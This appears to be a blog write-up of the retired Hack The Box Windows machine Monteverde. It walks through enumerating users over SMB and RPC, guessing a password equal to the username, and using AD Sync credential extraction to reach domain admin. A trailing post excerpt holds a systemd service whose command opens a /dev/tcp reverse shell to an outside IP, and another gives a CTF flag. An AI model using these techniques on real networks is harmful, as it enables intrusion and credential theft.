Skip to main content

Hackthebox - Retired - Montverde

Hackthebox.eu - Retired - Monteverde

Recon

As always I start with a simple UP/Down scan on all TCP ports to see what is open


 nmap -T4 -p- -oX /root/Desktop/HTB/monteverde/nmapb.xml 10.10.10.172


Then I convert that to HTML

xsltproc /root/Desktop/HTB/monteverde/nmapb.xml -o /root/Desktop/HTB/monteverde/nmapb.html



That’s a bunch of open ports. Lets run nmap again against these ports with the -A switch to try and finger OS/Service

nmap -T4 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49669,49670,49673,49702 -A -oX /root/Desktop/HTB/monteverde/nmaf.xml 10.10.10.172


Then convert that to HTML

xsltproc /root/Desktop/HTB/monteverde/nmaf.xml -o /root/Desktop/HTB/monteverde/nmapf.html    *****fixed my little typo here in the name of the file


Ok It looks like a windows box, and a Domain controller at that.

We can see megabank.local for a domain name, we can also see what looks like winRM on 5985


Let’s try to see if we can see anything on smb



It’s there and allowed us to connect anonymously…. But didn’t list anything


Since its open let's see if we can connect with rpcclient


Let’s grab the users

user:[Guest] rid:[0x1f5]

user:[AAD_987d7f2f57d2] rid:[0x450]

user:[mhope] rid:[0x641]

user:[SABatchJobs] rid:[0xa2a]

user:[svc-ata] rid:[0xa2b]

user:[svc-bexec] rid:[0xa2c]

user:[svc-netapp] rid:[0xa2d]

user:[dgalanos] rid:[0xa35]

user:[roleary] rid:[0xa36]





How about groups


group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]

group:[Domain Users] rid:[0x201]

group:[Domain Guests] rid:[0x202]

group:[Domain Computers] rid:[0x203]

group:[Group Policy Creator Owners] rid:[0x208]

group:[Cloneable Domain Controllers] rid:[0x20a]

group:[Protected Users] rid:[0x20d]

group:[DnsUpdateProxy] rid:[0x44e]

group:[Azure Admins] rid:[0xa29]

group:[File Server Admins] rid:[0xa2e]

group:[Call Recording Admins] rid:[0xa2f]

group:[Reception] rid:[0xa30]

group:[Operations] rid:[0xa31]

group:[Trading] rid:[0xa32]

group:[HelpDesk] rid:[0xa33]

group:[Developers] rid:[0xa34]





I fired up enum4linux to map some of this out for us.


enum4linux -a 10.10.10.172


Some of the output


Domain is Megabank


Group 'Operations' (RID: 2609) has member: MEGABANK\smorgan

Group 'Operations' (RID: 2609) has member: MEGABANK\smorgan

Group 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator


Group 'Domain Users' (RID: 513) has member: MEGABANK\Administrator

Group 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt

Group 'Domain Users' (RID: 513) has member: MEGABANK\AAD_987d7f2f57d2

Group 'Domain Users' (RID: 513) has member: MEGABANK\mhope

Group 'Domain Users' (RID: 513) has member: MEGABANK\SABatchJobs

Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-ata

Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-bexec

Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-netapp

Group 'Domain Users' (RID: 513) has member: MEGABANK\dgalanos

Group 'Domain Users' (RID: 513) has member: MEGABANK\roleary

Group 'Domain Users' (RID: 513) has member: MEGABANK\smorgan


Group 'Azure Admins' (RID: 2601) has member: MEGABANK\Administrator

Group 'Azure Admins' (RID: 2601) has member: MEGABANK\AAD_987d7f2f57d2

Group 'Azure Admins' (RID: 2601) has member: MEGABANK\mhope


Group 'HelpDesk' (RID: 2611) has member: MEGABANK\roleary

Group 'Trading' (RID: 2610) has member: MEGABANK\dgalanos




[+] Password Info for Domain: MEGABANK


        [+] Minimum password length: 7

        [+] Password history length: 24

        [+] Maximum password age: 41 days 23 hours 53 minutes 

        [+] Password Complexity Flags: 000000


                [+] Domain Refuse Password Change: 0

                [+] Domain Password Store Cleartext: 0

                [+] Domain Password Lockout Admins: 0

                [+] Domain Password No Clear Change: 0

                [+] Domain Password No Anon Change: 0

                [+] Domain Password Complex: 0


        [+] Minimum password age: 1 day 4 minutes 

        [+] Reset Account Lockout Counter: 30 minutes 

        [+] Locked Account Duration: 30 minutes 

        [+] Account Lockout Threshold: None

        [+] Forced Log off Time: Not Set




Digging around on these accounts and from the logon date I can see that only 3 of the accounts have ever been logged into.


Mhope

SABatchJobs

AAD_987d7f2f57d2


We know the password policy from the output of enum4linux


I just tried logging into smb with them. I tried Mhope first with a couple of generic passwords then I moved on to SABatchjobs


Just tried the username for the password since there are no complexity requirements set in the pw policy


We got in






Exploit


I tried connecting up to the C$, E$ but no luck



But we do have access to users$


Started poking around and found a file named azure.xml under the mhope dir


I downloaded it using 

get azure.xml



That doesn’t look like anything…


I spent a couple hours moving around to different paths, but wasn’t able to move any further.. And My mind kept coming back to this file… why would it be there if I didn’t need it in someway to escalate….


Then it hit me, let's try to open this not with leafpad but with VIM



Yay!!! More creds


4n0therD4y@n0th3r$



Since we found this in mhope directory on the user share I bet these are their creds lets try using them for winRM since I didn’t have any luck with the SABatch account.


I’ve been using RubyWinRM


I edited my file to user her creds



Then ran it


#ruby rubywinRM 


About Time GIF by memecandy



Let’s get that hash yo



496*******************************







Alright, now let’s find out how to escalate.


Looking around at program installed I notice this has AD Sync installed to sync the ad to azure.


Pretty quickly found this blog on how to attack AD Sync to get the user info for the sync service which runs as a service 


https://blog.xpnsec.com/azuread-connect-for-redteam/



There is a PS1 script on the site which should get out the MSOL user account 


First we need to look around and see if we need to modify the script at all


Ok  Let’s first verify that ADSync DB exists


get-sqldatabase -serverinstance Monteverde



Sure does




Tried running the ps1 and got back lots of errors. It took me several hours to work through to a solution here to get it running


I just started to Troubleshoot as if I had written the code and tried to figure out where the script was breaking.



First  I just pulled the first two lines that were making the DB connection to see if we are even starting to talk to the DB


$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"

$client.Open()




Connection error


Well we might need to change some things here. First let's change the data source to be Monteverde our box we are working against



$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=Monteverde;Initial Catalog=ADSync"

$client.Open()



Ok now we got a login error, that is better than not seeing the DB server at all..


Next googled around for making DB connections for powershell and I found something that we might need to add to our connection string


Let’s add in our user/pass for mhope to see if that lets us in


$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=Monteverde;Initial Catalog=ADSync;user=megabank\mhope;password='4n0therD4y@n0th3r$'"

$client.Open()





Login failed….. Ok what if we use integrated security to use windows authentication


$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=Monteverde;Integrated Security = True;Initial Catalog=ADSync"

$client.Open()




No errors, cool, let's swap out that for the connection string in the PS1 we found.


Errors about missing ‘   

Okay the strings where its complaining on line 68 look fine to my eyes but let’s remove that line just for testing and try again.


Now it’s complaining about the line above it… lets delete that too


I’m seeing a pattern here. Now it's complaining about the line above it. Let’s delete it too



Ok that was a jump now its line 44 which is


add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’


Let’s try double quotes instead of single quotes




No errors, let’s add back in the three lines we deleted during our trouble shooting.

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}

$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}

$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}





Yay!!! We got some new creds...


Domain: MEGABANK.LOCAL

Username: administrator

Password: d0m@in4dminyeah!




Let’s try to connect up to the RPC with these new creds


 evil-winrm -u megabank\\administrator -p 'd0m@in4dminyeah!' -i 10.10.10.172 -s /root/Desktop/HTB/monteverde/



*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami

megabank\administrator

*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\users\administrator\desktop\root.txt

129*******************************



That was fun. 


Windows Microsoft GIF



















Comments

Popular posts from this blog

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar